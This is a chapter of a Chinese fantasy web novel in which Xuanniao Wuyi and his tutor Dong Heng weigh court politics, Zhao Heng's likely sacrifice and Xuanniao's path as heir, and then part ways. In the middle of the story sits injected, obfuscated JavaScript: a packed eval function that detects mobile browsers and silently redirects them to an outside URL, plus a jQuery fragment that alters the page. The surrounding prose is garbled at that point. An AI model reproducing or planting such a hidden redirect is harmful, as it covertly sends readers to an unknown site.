6. 眉婳

作品:《春秋二记

    “翎姨。”


    凤翎丹羽在轮椅上回身,只见袨袀偕同一个丰姿隽朗的青年,一同向她行礼问好,不禁含笑:“袀儿,这便是你的好朋友东衡吧?”


    …这便是曾经威震天下的零皇。东衡一面称是,一面不禁地惊讶。


    而今不过是个看上去二十余岁的极美貌夫人,在轮椅上扶抱孕肚。一边转动轮椅,用长柄小鹤嘴锄在地上刨小坑,撒下右手边的竹米。


    袨袀便来扶上轮椅推动,东衡便拿过竹米碗和小锄头。听玄鸟乌衣笑问:“听陛下说,今后秋骊山北的六百里,给弟弟用作食邑。姨娘想好给食邑起什么名字了吗?”


    凤翎丹羽笑道:“夏邑,好不好?”


    玄鸟乌衣自然点头称好。和阿衡换过来,自己俯身去刨坑埋米。一粒粒种去,只见碧竹米浑圆可爱,大约还有大半碗:“翎姨,你带着弟弟不方便,让别人种便是。”


    凤皇笑道:“我是一天天闲的无聊,正好运动运动。”


    便问起阿衡,跟着玄鸟乌衣做事感觉怎么样——“受气么?他毕竟是帝無手把手教出来的,真能让人恨得牙痒痒。”


    东衡不禁笑,轻声道:“有时。”比如上次说怎么整死赵衡的时候。


    玄鸟乌衣蔫头耷脑。东衡笑:“不过,九成八的时间还是很快乐的。”


    凤翎丹羽不禁笑。


    玄鸟乌衣默不作声地刨坑。凤翎丹羽笑道:“这次放想让琼华做试点,你们和儁奕达成了什么共识?”


    玄鸟乌衣道:“按照有天氏大司空对清棠山地理的研究,在南北开两条栈道。北边从盛稷到雪谷。南边从飒秣到清棠。”


    凤翎丹羽沉默了下:“心里不好受吧。”


    毕竟飒秣本就亲近清棠,而雪谷也是清棠的北防。此次磋商,唯一被舍的只有盛稷——因为玄鸟乌衣为显示自己可以为了云华一统,不介意方国为谁制统。


    ——你永远不在乎身边人的死活。


    玄鸟乌衣的手又开始微微发颤。东衡愕然,才明白他原来是有旧疾。


    “袨袀。”东衡握紧他的手。


    玄鸟乌衣凄惶地看定他:“对不起。”


    东衡皱眉,心知这是赵衡遗留的心理阴影。


    凤翎丹羽也是默然,半刻,道:“不如将彤华殿改为行宫,在靠近盛稷的大荒方国建你的…”


    玄鸟乌衣涩笑道:“话已出口,这么做,实在是出尔反尔。”又引起清棠不满。


    赵衡只能是一枚弃子。


    东衡温声道:“不如我去替他。”反正二人容颜一致。


    玄鸟乌衣攥紧其手:“不行。”


    三人沉默半晌,玄鸟乌衣起身道:“大不了盛稷我不要了就是。”


    “清棠另立新皇。赵衡我带走。”


    凤皇嘴角抽搐。简直不知说年轻人什么好。只得道:“你敢这么干,不止我,度春秋、帝放都要打死你。”


    东衡也是无奈。冷道:“你能有点出息吗。你让他走,他愿意走吗?卯足劲要大展拳脚、干出一番事业给你看,他能走么?他撞南墙也不回头的脾气,你是不知道吗?!”


    玄鸟乌衣的手又开始抖。


    东衡:这都是多大的心理阴影啊!


    东衡皱眉看向凤皇:“帝無当年怎么折磨他了?”


    凤翎丹羽尴尬:“……”


    东衡啧道:“别抖,抖什么!再想想办法就是了!”


    想了想,说:“清棠能在他身边插钉子,我们便不能么?”


    玄鸟乌衣无奈道:“我怕的是钉子么。我怕的是雪谷的银齿丰年和武安军。这跟把一块毫不设防的肥肉摆在刀俎下有什么区别!”


    凤皇无奈道:“袨袀,你先冷静下来。你现在最大的问题,是你在大荒无人可用。”


    玄鸟乌衣沉默了。


    凤皇温和道:“听翎姨一句,你现在万勿轻举妄动。”


    “你不动,清棠也不会动。”


    “你既然在帝放面前与清棠握手言和,至少你要在琼华坚持下去。”


    “如此,清棠有天氏也不会对此有非议,而对盛稷明面上…”


    “那暗处呢?”玄鸟乌衣心境平定一半,还是心神不宁。


    “暗箭难防。”凤翎丹羽道,“万一赵衡不测,也是你尽力了。放过自己便是。”


    玄鸟乌衣沉默了。


    凤皇温声道:“他不是真人,你忘了么?”


    玄鸟乌衣苦笑一声:“…那陛下又何必,让他从珠玉里来到盛稷。”顿了顿,道,“是为了我,我都知道。”


    半晌,对东衡说:“我是真没办法了。你能原谅我么?”


    东衡微微笑:“自从跟你上路,难道没料到中道而逝的可能?”


    玄鸟乌衣苦笑。一时半会,真是抑郁无言。


    过了半刻,起身去竹林里摸出信帖。春江花枝,而闻境音:【公子?】


    “赵衡在你身边么,我找他。”玄鸟乌衣道。


    半晌,听到衣裳窸窣,玄鸟乌衣直接问道:“你身边清棠的钉子,知道是谁么?”


    赵衡默了一会。最终道:“与你无关。”


    玄鸟乌衣简直咬牙,冷道:“你——不要不识抬举。帝無让你来盛稷襄助我,你是何时与有天氏勾搭上的?!”


    赵衡道:“我不知道。”


    玄鸟乌衣气到头昏。攥着一旁的竹竿,只听噼啪裂竹之音。


    凤皇看去,轻声问东衡:“你还看他犯傻?”


    东衡只笑。叹气:“他总得借这个机会,学着逼自己冷静下来。”


    不管是凤皇还是赵衡,都在言语中给他足够的提醒和信息。奈何他现在根本无法思考——


    什么叫在大荒无人可用。


    为什么境在身边,赵衡要说不知道。


    真是赌气么?


    …但凡还有五成神智,也该记得天水氏的龙君们,是隶属于谁的罢……纵然“魏竟”与他…


    这都没有了。


    竹丝断片直割刺得玄鸟乌衣手上鲜血淋漓。疼,真疼。但脑子也开始冷静清醒了,可以正常思考了。


    玄鸟乌衣平静说:“算了,你不说也无妨。我已同大天官达成和约,今后和平共存。”


    “此外,需要从盛稷到雪谷开一条快道。我放行。”


    赵衡嗯了一声。


    玄鸟乌衣攥紧碎竹:“你好好保重。是我不好,这次走得太仓促,没给你单独的信帖。”


    赵衡笑了一声。温声道:“没事。”想想也知道,这条清棠六军直达盛稷的栈道,是他被逼的答应了。


    又平静道:“其他人与此事无关。我早晚会死,袨袀。这一辈子我想完成我的价值。”


    玄鸟乌衣捏碎了竹竿。繁盛的竹子吱吱呀呀地倾斜倒下。


    赵衡叹一声,温声说:“袨袀。你记住,不必顾念我。做你想做的事。”


    玄鸟乌衣怔住。


    “…对不起。”赵衡说,“以往。”


    玄鸟乌衣皱眉:“你转性了?”


    赵衡笑道:“我转不转无所谓,你别忘了你要做


    什么便好。”


    玄鸟乌衣闭眼。半晌,道:“给境。”


    境默然接过:【陛下。】


    玄鸟乌衣静静道:“你也明白,我也明白。”


    “我和大天官的国事是国事。”


    “我和清棠的私仇是私仇。”


    “明白么?”


    境默道:【臣懂。】


    玄鸟乌衣冷笑一声。


    却也不知说什么好了。


    只能说:“彼此相安无事。这是最好的结局。”


    玄鸟乌衣回身。竹林外,凤皇在洒竹米,东衡在锄坑,都当什么也没听见。


    玄鸟乌衣一时之间,只觉悲凉。失意且消沉地走过去,最终还是扶定外缘的竹子站住。


    帝無说,你要能一个人孤独地走下去。


    因为你的忠臣会背叛你,你的亲人会死去。


    你能,再去。


    十五岁的时候一腔血勇,说当然能。


    而今二十岁,却是难以行步了。


    怎么办。


    怎么办。


    赵衡会死,那东衡呢。帝無已经没有了,凤皇还不知道——若是知道了呢?


    玄鸟乌衣咬咬牙,作出笑容来,终究走出这竹林去,温声笑说:“没事了。我都交代好了。”


    ——什么是帝王,袨袀?


    在还不知道帝無不是生父的时候,他是很爱缠在爹爹身边的。


    于是帝無牵着他的小手,一起走在竹林小路上,去找翎姨。


    小小的玄鸟蹦蹦跳跳,奶声奶气道:“要保护天下人的,才算是帝王嘛。”


    帝無不禁地笑,温声说:“那么,袨袨不要忘记,今天说的话。”


    “长大了也不要忘。”


    “再难也要走下去。”


    ——再难也要走下去。


    ——再多牺牲也要走下去。


    ——再多痛苦也要走下去。


    直到走到亲人们身边,低声笑说一句:“没事了。我会好好保护好你们的。”


    凤皇抬手,揽他俯身到怀里抚摸。东衡起身来,按上他的肩头。


    ——这两个人,或许有一天也会成为他的弃子。


    ——既然都有这么大的牺牲了,无论如何,他都要走下去,完成这件事。


    ——不再是十五岁时的争气斗狠,而是平和而坚定地接受这一切了。


    在很多年后,当桂太史撰写他的传记时,评价道:“夫人生于世,必有其道。斯悔斯怨,为道而却。终至灵台清明,一往无前,千万无当。”


    如同度春秋所言,云华从不缺青年才俊。或许许多年轻人只是缺培养他们成材的土壤,而最终不得封王为君。


    而玄鸟乌衣从一开始便站在权力的巅峰,他的成长灌注了所有人的心血。


    于是,最后不能登基成帝,也成为了他一生中最让人谴责和遗憾的错误。


    我们理解他的难处。至亲明白他的选择。然而他更懂得自己的道路。


    他说:


    “我之一生,磋磨甚多。虽无怨尤,然亦难宽心胸。度量已失,终难成事。”


    “不当为云华之帝,而当为云华之基。”


    “幸我尚有此力,不至令亲族失望至深。”


    永安三十年,东衡也已从有天氏大天官卸任。


    只一书箧一白马,负手归乡。行经帝春台,见桃花疏枝六七。


    一时驻足,良久而行。


    昌襄用尽毕生的春秋寿数,得出一句预言:“帝居桃川,尝牵白马而行。”


    度春秋算尽轮回花蝶,得出一句结论:“桃川得帝。”


    简清扬呢…两人一千五百年的春秋光阴,换来一句模棱两可的回答:“或成或否,终在其心。”


    ……


    终在其心。


    帝命却不该在这个人。


    东衡静静地想,其实早有端倪不是。譬如,这孩子向来喜欢枣红马。再譬如,他一生鲜有在桃川之时。


    只是所有无路可走的人都紧抓不放,将他当做最后的救命稻草。


    费尽一切心思来磨练他,让他一辈子都在痛苦中挣扎和重生。


    即便如此,东衡想,最后他依旧不觉得那些是折磨,唯有对这些长辈的感谢和歉疚——谢谢你们的培养,我还是辜负了你们的期望。


    帝春台下欢快地跑过两三个追逐笑闹的孩童。漂亮的小衣裳在春风中飞呀飞,五彩绚丽的小风车转呀转…


    一转身,仿佛玄鸟乌衣还在桃花下笑看,与他隔着时空对视,说:你看,阿衡。


    ——看什么。


    ——看这么美好的云华。你们真的实现了。你们做到了,阿衡。


    ——那你呢。


    玄鸟却只笑而不言。


    东衡回神时,南方回来的二三燕子正在桃花枝上。


    而三十年前的故人,已是春天温暖过的白骨了。


    从秋骊山回来,与兰琻夫妻于饶州浮梁告别。


    玄鸟乌衣特意道:“我在大荒,必然会时常去看望赵衡。还望大天官别介怀。只是探亲而已。”


    儁奕笑:“怎会。公子的胸怀如此,定不至于还是将盛稷看做方国。”


    玄鸟乌衣低笑一声,道:“确实如此。”也不再分辩。


    东衡看他态度软化放低至此,有天氏也不好再说什么。且已在帝放面前定盟,双方便互相祝好告辞。


    便入眉婳山。秀峰如玉,清泉娟涓,叶簇如花。一路向西,倒也悦目赏心,人生佳事。


    两人却是一路无话,都各有深沉心事。但所有思虑,最终都在于今后道路,应该如何而走。


    待到下午,玄鸟乌衣和东衡觉得都思量差不多了,方才并辔而行。


    东衡说:“关于大荒…”


    玄鸟乌衣道:“关于珠玉…”


    两人叹笑一声。互相分享思路和信息。


    东衡道:“我是觉得,大荒必须拿下。”


    “我知道。”玄鸟乌衣道,“从师父的春秋世出来前,凤皇提醒我一件事。”


    “当年帝無似乎想用珠玉里的人做胚子。”


    “什么胚子?”东衡皱眉,大惑不解。从来都听说什么美人胚子…


    玄鸟乌衣不禁笑:“所谓''胚子''…”


    细细讲来。也是千秋岁时的遗事。


    盛稷造成云华崩裂,帝無重伤。等他伤愈,自然要严加整饬盛稷人的源头——有天氏的司命们。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445338|154016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    核心问题在于,为什么会造出这么能惹事生非的盛稷人。


    大司命试图自裁赔罪。但为当年的虞秾等人及时拦下。


    虞秾道:“大错已铸成,再搭上一条命,又有何益。”


    “再说了,”虞秾道,“大司命只是造生命,难道还能监视他们一辈子的一举一动不成?”


    “什么子女不是父母好好教养,自己不成器,难道父母也要随之受戮?”


    帝無思量过后。便让这胆大包天、胆敢当庭质辩的虞秾去找白敐。


    “之后虞秾和白敐的事,你都知道了。”玄鸟乌衣笑道。


    “原是因为这等典故。”东衡笑。不过这位前暗虚王尊的恣情勇义,也可见得一斑了。


    东衡笑猜道:“是虞秾王尊给了帝無灵感不成。于是他设置珠玉的第二个目的,便是从其中挑选有益于云华的人物,用作今后大司命造生灵的原初''灵心''?”


    玄鸟乌衣不禁地笑:“阿衡,你果然聪敏。”


    “确然如此。”


    玄鸟乌衣不禁地笑:“大概也是因为如此,颜完现在只专注造漂亮壳子。”


    东衡不禁地蹙眉而笑。因为有天氏是公认的…认为颜完的智商不大行。


    “如此想来,赵衡便是如此来到盛稷的了。”东衡总结。


    “对。应该如此。”玄鸟乌衣道:“而更重要的是,珠玉里我的其它朝臣,大概也分散在碎琼中了。”


    东衡一顿,心神顿时快阔:“这正是好。”


    玄鸟乌衣叹笑道:“虽然有比较乐观的基础,但你也看到了——境不是魏竟。”


    东衡叹道:“事情不要总往坏处想。”


    “我知道。”玄鸟乌衣温声道,“我记得你在莲勺的话呢——即便别人并不看我做最重要,待我的心也是真的。”


    “我前天对境的话说重了,这次去盛稷,我也与他推心置腹地谈一谈。”


    东衡不禁微笑。顿了顿,便说起大荒:“对你的王尊王侯,还是按原来的路子吧。急也急不得,只能一个个来。”


    玄鸟乌衣叹笑一声:“嗯。”


    “这样,我们兵分两路。”东衡温声道,“我为你出使大荒或碎琼,你——”


    玄鸟乌衣摇头笑道:“不必。看来这趟盛稷,我会去得很值得了。”


    “既然你会这么想,那么赵衡应该也已经搜罗了一些我的珠玉旧臣。”


    “只是花落知多少?”玄鸟乌衣笑而自问自答,“那就不知道了。”


    眉婳多草,如双穗雀稗、香附子、知风草、小盼草等等。在清泉边葳蕤生长。


    “春夏草木长,如今才知道意思。”玄鸟乌衣笑道。提了烤好的白鱼来坐下,递给东衡。


    一路过眉婳山,都在谈论正事。东衡也难得见他放松,接过白鱼时不禁想,以后怕也更是难见了。


    便温声笑道:“烤鱼的技术很好啊,跟谁学的?”


    玄鸟乌衣笑啃一口道:“跟魏竟。”


    东衡:“……”


    东衡叹了口气。心道这孩子一辈子全都是糟心事。


    玄鸟乌衣却递来一块烤百合球,笑道:“尝尝这个。跟你学的。”


    东衡不禁笑。只能说小玄鸟就是小玄鸟,做什么都最好。特意挖的最鲜甜粉糯的百合球,还抹了花蜜。


    东衡笑道:“上会在稷山买的桑葚还没吃完呢,再不吃就坏了。全做这顿花果餐的加餐算了。”


    玄鸟乌衣不禁笑。


    两人便暂且什么都不想,只在草丛里吃一顿美味野餐。


    而后随意一躺,在初夏的清透草木和明和午后里,暂睡一晌。


    小玄鸟的呼吸微微,拂动柔软的草丝。


    东衡静静看这只鸟。方才还拽诗,拽什么拽,忘了“于嗟鸠兮,无食桑葚”?


    这下是真吃醉了。


    东衡真是忍俊不禁。自笑半晌,起身牵马走人。


    是跟他干事,又不是成为牵绊,让他进退不能,四处为人牵制。


    ……


    眉婳山淡绿迢迢,碧草如丝都长长。


    东衡从来不觉得自己是个英雄主义者,但此时白马上远去的隽朗背影,实在让人感到一种平淡而寻常的孤勇。


    [我去碎琼了。玄鸟乌衣。]


    玄鸟乌衣右手搭在额头上,目光平静地望向淡蓝的天空。左手边撒了一团纸球。


    [袨袀。赵衡虽然在为你寻找旧臣,但他毕竟身在盛稷,难以离开。碎琼之中,你的故臣想来更多,受有天氏牵绊也更少些。]


    [我倒是很明白你的担心。但你也不能一直走到哪里,都带着我是不是?你的衡太傅,用处不止这点。]


    [更何况,其实没有我,大荒你也能完全摆平。你现在只是因为盛稷之事,自乱阵脚而已。]


    [那么我留在你身边,于你何益?]


    [此一去,天高水阔,我不止要带你的旧臣回来,还要带我的人马回来助你。]


    [无论如何,相逢有时,后会有期。]


    玄鸟乌衣叹了口气。而后缓慢地翻身——真是醉透了——爬上马:“红袍红袍,这回靠你了,我头好疼…”


    枣红骏马高爽地嘶鸣一声,驰骋而去。


    眉婳东道上,东衡正在绿杨道上走。而后刹然一声,目瞪狗呆地被横空扑到了道旁的土坡上。


    只能说玄鸟乌衣还做个人,坡上没石头没荆棘。唯有老槐凌空,圆椭的小绿枝叶在阳光下清澈极了。


    东衡不畏死地看玄鸟乌衣:“……做什么。”


    玄鸟乌衣眯紧眼睛,呼吸间都是好似桑落酒的甜熏,沉声道:“东衡,我让你走了么?你递辞呈了吗?朕允准了吗…”


    老根上小小圆圆的嫩绿槐叶,倒映在小玄鸟还酒醉恍惚的琉璃眼睛中。


    东衡不禁笑。温声道:“装什么。我还是要走。”


    玄鸟乌衣:“……”


    东衡拍拍他:“我是你太傅。让我走。”


    虽然两句话没什么因果联系。玄鸟乌衣却听得不能再懂。


    东衡温声而笑:“其实我是觉得,在你身边,我的小命更堪忧。”


    玄鸟乌衣噗嗤一笑。默了一默,叹道:“是啊。”


    想要起身。东衡却按住他,温声道:“我会回来找你。”


    玄鸟乌衣忍俊不禁:“我知道。但不必了。”


    东衡毫不犹豫地揍鸟。玄鸟乌衣只是笑,还是说:“…在碎琼吧。等我收拾好琼华,再去同你汇合。”


    东衡热泪盈眶。


    玄鸟乌衣温和而笑:“过年过节,常回梨花山看看。不然,我活不到等你回来。”


    东衡忍笑不住。


    玄鸟乌衣也是笑。


    两人笑了一会,便互相扶持起身,就此作别。